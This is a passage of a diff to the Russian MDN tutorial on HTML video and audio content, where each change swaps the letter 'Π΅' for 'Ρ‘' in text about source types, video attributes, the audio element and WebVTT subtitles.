Π’ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ источников WebM ΠΈ MP4 Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ достаточно для воспроизвСдСния вашСго Π²ΠΈΠ΄Π΅ΠΎ Π½Π° Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π² наши Π΄Π½ΠΈ.</p>
-<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт <code>&lt;source&gt;</code> Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>type</code>. Он Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ, Π½ΠΎ рСкомСндуСтся Π΅Π³ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ β€” ΠΎΠ½ содСрТит {{glossary("MIME type","MIME types")}} Π²ΠΈΠ΄Π΅ΠΎΡ„Π°ΠΉΠ»Π°, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈΡ… ΠΈ сразу ΠΆΠ΅ ΠΏΡ€ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ Π½Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°ΡŽΡ‚. Если <code>type</code> Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π·Π°Π³Ρ€ΡƒΠΆΠ°ΡŽΡ‚ ΠΈ ΠΏΡ‹Ρ‚Π°ΡŽΡ‚ΡΡ воспроизвСсти ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ„Π°ΠΉΠ» Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄ΡƒΡ‚ Ρ‚ΠΎΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, затрачивая большС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ рСсурсов.</p>
+<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт <code>&lt;source&gt;</code> Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>type</code>. Он Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ, Π½ΠΎ рСкомСндуСтся Π΅Π³ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ β€” ΠΎΠ½ содСрТит {{glossary("MIME type","MIME types")}} Π²ΠΈΠ΄Π΅ΠΎΡ„Π°ΠΉΠ»Π°, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈΡ… ΠΈ сразу ΠΆΠ΅ ΠΏΡ€ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ Π½Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°ΡŽΡ‚. Если <code>type</code> Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π·Π°Π³Ρ€ΡƒΠΆΠ°ΡŽΡ‚ ΠΈ ΠΏΡ‹Ρ‚Π°ΡŽΡ‚ΡΡ воспроизвСсти ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ„Π°ΠΉΠ» Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄ΡƒΡ‚ Ρ‚ΠΎΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, затрачивая большС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ рСсурсов.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Наша <a href="/ru/docs/Web/HTML/ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅_ΠΌΠ΅Π΄ΠΈΠ°_Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹">ΡΡ‚Π°Ρ‚ΡŒΡ ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… ΠΌΠ΅Π΄ΠΈΠ°Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ…</a> описываСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ распространСнныС {{glossary("MIME type","MIME types")}}.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Наша <a href="/ru/docs/Web/HTML/ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅_ΠΌΠ΅Π΄ΠΈΠ°_Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹">ΡΡ‚Π°Ρ‚ΡŒΡ ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… ΠΌΠ΅Π΄ΠΈΠ°Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ…</a> описываСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ распространённыС {{glossary("MIME type","MIME types")}}.</p>
</div>
<h3 id="Π”Ρ€ΡƒΠ³ΠΈΠ΅_ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹_&lt;video>">Π”Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ &lt;video&gt;</h3>
@@ -136,12 +136,12 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
<dt><strong>{{htmlattrxref("loop","video")}}</strong></dt>
<dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ позволяСт Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎ (ΠΈΠ»ΠΈ Π°ΡƒΠ΄ΠΈΠΎ) снова, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ заканчиваСтся. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°Ρ‚ΡŒ, поэтому ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚ΠΎΠ³Π΄Π°, когда это Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ.</dd>
<dt><strong>{{htmlattrxref("muted","video")}}</strong></dt>
- <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ заставляСт ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°Ρ‚Π΅Π»ΡŒ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π·Π²ΡƒΠΊ, ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
+ <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ заставляСт ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°Ρ‚Π΅Π»ΡŒ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π·Π²ΡƒΠΊ, ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
<dt><strong>{{htmlattrxref("poster","video")}}</strong></dt>
<dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π² качСствС значСния URL-адрСс изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π΄ΠΎ воспроизвСдСния Π²ΠΈΠ΄Π΅ΠΎ. Он ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для заставки ΠΊ Π²ΠΈΠ΄Π΅ΠΎΒ ΠΈΠ»ΠΈ Ρ€Π΅ΠΊΠ»Π°ΠΌΡ‹.</dd>
<dt><strong>{{htmlattrxref("preload","video")}}</strong></dt>
<dd>
- <p>этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² элСмСнтС для Π±ΡƒΡ„Π΅Ρ€ΠΈΠ·Π°Ρ†ΠΈΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Ρ„Π°ΠΉΠ»ΠΎΠ². Он ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:</p>
+ <p>этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² элСмСнтС для Π±ΡƒΡ„Π΅Ρ€ΠΈΠ·Π°Ρ†ΠΈΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Ρ„Π°ΠΉΠ»ΠΎΠ². Он ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:</p>
<ul>
<li><code>"none"</code> Π½Π΅ Π±ΡƒΡ„Π΅Ρ€ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ„Π°ΠΉΠ»</li>
@@ -151,7 +151,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
</dd>
</dl>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ для воспроизвСдСния <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">Π½Π° Github</a> (Ρ‚Π°ΠΊΠΆΠ΅Β <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">просмотритС исходный ΠΊΠΎΠ΄</a>.) ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>autoplay</code> Π² live-Π²Π΅Ρ€ΡΠΈΡŽ - Ссли Π²ΠΈΠ΄Π΅ΠΎ Π½Π°Ρ‡Π½Π΅Ρ‚ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ страница загрузится, Π²Ρ‹ Π½Π΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ заставку ΠΊ Π²ΠΈΠ΄Π΅ΠΎ!</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ для воспроизвСдСния <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">Π½Π° Github</a> (Ρ‚Π°ΠΊΠΆΠ΅Β <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">просмотритС исходный ΠΊΠΎΠ΄</a>.) ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>autoplay</code> Π² live-Π²Π΅Ρ€ΡΠΈΡŽ - Ссли Π²ΠΈΠ΄Π΅ΠΎ Π½Π°Ρ‡Π½Ρ‘Ρ‚ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ страница загрузится, Π²Ρ‹ Π½Π΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ заставку ΠΊ Π²ΠΈΠ΄Π΅ΠΎ!</p>
<h3 id="Π­Π»Π΅ΠΌΠ΅Π½Ρ‚_&lt;audio>">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ &lt;audio&gt;Β </h3>
@@ -178,11 +178,11 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
<li>Он Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ атрибут​​​​​ <code>poster</code>Β ΠΎΠΏΡΡ‚ΡŒ ΠΆΠ΅, ΠΈΠ·-Π·Π° отсутствия Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°.Β </li>
</ul>
-<p>Помимо этого, <code>&lt;audio&gt;</code> ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ всС Ρ‚Π΅ ΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΠΈ <code>&lt;video&gt;</code> - просмотритС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Π½ΠΈΡ….</p>
+<p>Помимо этого, <code>&lt;audio&gt;</code> ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ всС Ρ‚Π΅ ΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΠΈ <code>&lt;video&gt;</code> - просмотритС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Π½ΠΈΡ….</p>
<h2 id="ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅_тСкстовых_Π΄ΠΎΡ€ΠΎΠΆΠ΅ΠΊ_ΠΊ_Π²ΠΈΠ΄Π΅ΠΎ">ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ тСкстовых Π΄ΠΎΡ€ΠΎΠΆΠ΅ΠΊ ΠΊ Π²ΠΈΠ΄Π΅ΠΎ</h2>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ обсудим Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ΡƒΡŽ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π·Π½Π°Ρ‚ΡŒ. МногиС люди Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ»ΠΈ Π½Π΅ хотят ΡΠ»Ρ‹ΡˆΠ°Ρ‚ΡŒ Π°ΡƒΠ΄ΠΈΠΎ ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ΠΈ находят Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅, Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ врСмя. НапримСр:</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ обсудим Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ΡƒΡŽ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π·Π½Π°Ρ‚ΡŒ. МногиС люди Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ»ΠΈ Π½Π΅ хотят ΡΠ»Ρ‹ΡˆΠ°Ρ‚ΡŒ Π°ΡƒΠ΄ΠΈΠΎ ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ΠΈ находят Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅, Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ врСмя. НапримСр:</p>
<ul>
<li>Π£ ΠΌΠ½ΠΎΠ³ΠΈΡ… людСй Π΅ΡΡ‚ΡŒ слуховыС Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡ (Π±ΠΎΠ»Π΅Π΅ извСстныС ΠΊΠ°ΠΊ ΡΠ»Π°Π±ΠΎΡΠ»Ρ‹ΡˆΠ°Ρ‰ΠΈΠ΅ ΠΈΠ»ΠΈ Π³Π»ΡƒΡ…ΠΈΠ΅).</li>
@@ -196,11 +196,11 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
<p><strong><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: </strong>"Π’Ρ€Π°Π½ΡΠΊΡ€ΠΈΠ±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ" Π·Π½Π°Ρ‡ΠΈΡ‚ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ ΡƒΡΡ‚Π½ΡƒΡŽ Ρ€Π΅Ρ‡ΡŒ Π² Π²ΠΈΠ΄Π΅ тСкста. ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ тСкст прСдставляСт собой «стСнограмму».</p>
</div>
-<p>WebVTT - это Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ для записи тСкстовых Ρ„Π°ΠΉΠ»ΠΎΠ², содСрТащих нСсколько строк тСкста, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ врСмя, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ строку, ΠΈ Π΄Π°ΠΆΠ΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ стилС/ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ. Π­Ρ‚ΠΈ тСкстовыС строки Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°ΠΌΠΈ, ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ для Ρ€Π°Π·Π½Ρ‹Ρ… Ρ†Π΅Π»Π΅ΠΉ, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнными ΡΠ²Π»ΡΡŽΡ‚ΡΡ:</p>
+<p>WebVTT - это Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ для записи тСкстовых Ρ„Π°ΠΉΠ»ΠΎΠ², содСрТащих нСсколько строк тСкста, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ врСмя, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ строку, ΠΈ Π΄Π°ΠΆΠ΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ стилС/ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ. Π­Ρ‚ΠΈ тСкстовыС строки Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Ρ€Π΅ΠΏΠ»ΠΈΠΊΠ°ΠΌΠΈ, ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ для Ρ€Π°Π·Π½Ρ‹Ρ… Ρ†Π΅Π»Π΅ΠΉ, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространёнными ΡΠ²Π»ΡΡŽΡ‚ΡΡ:</p>
<dl>
<dt><strong>субтитры</strong></dt>
- <dd>ΠŸΠ΅Ρ€Π΅Π²ΠΎΠ΄Ρ‹ иностранного ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Π°, для людСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°ΡŽΡ‚ слов, произнСсСнных Π² Π°ΡƒΠ΄ΠΈΠΎ.</dd>
+ <dd>ΠŸΠ΅Ρ€Π΅Π²ΠΎΠ΄Ρ‹ иностранного ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Π°, для людСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°ΡŽΡ‚ слов, произнСсённых Π² Π°ΡƒΠ΄ΠΈΠΎ.</dd>
<dt><strong>Ρ‚ΠΈΡ‚Ρ€Ρ‹</strong></dt>
<dd>Π‘ΠΈΠ½Ρ…Ρ€ΠΎΠ½ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ транскрипции Π΄ΠΈΠ°Π»ΠΎΠ³Π° ΠΈΠ»ΠΈ описания Π·Π½Π°Ρ‡ΠΈΠΌΡ‹Ρ… Π·Π²ΡƒΠΊΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ люди, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ»Ρ‹ΡˆΠ°Ρ‚ΡŒ Π·Π²ΡƒΠΊ, поняли Ρ‡Ρ‚ΠΎ происходит.</dd>
<dt><strong>рассчитанныС описания</strong></dt>
@@ -226,7 +226,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
<ol>
<li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Π΅Π³ΠΎ ΠΊΠ°ΠΊ <code>.vtt</code>- Ρ„Π°ΠΉΠ»,Β Π² Ρ€Π°Π·ΡƒΠΌΠ½ΠΎΠΌ мСстС.</li>
- <li>Бсылка Π½Π° Ρ„Π°ΠΉΠ» <code>.vtt</code> с элСмСнтом {{htmlelement ("track")}}. <code>&lt;track&gt;</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π² <code>&lt;audio&gt;</code> ΠΈΠ»ΠΈ <code>&lt;video&gt;</code>, Π½ΠΎ послС элСмСнтов <code>&lt;source&gt;</code>. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref ("kind", "track")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π»ΠΈ Ρ€Π΅ΠΏΠ»ΠΈΠΊΠΈ <code>субтитрами</code>, <code>Ρ‚ΠΈΡ‚Ρ€Π°ΠΌΠΈ</code> ΠΈΠ»ΠΈ 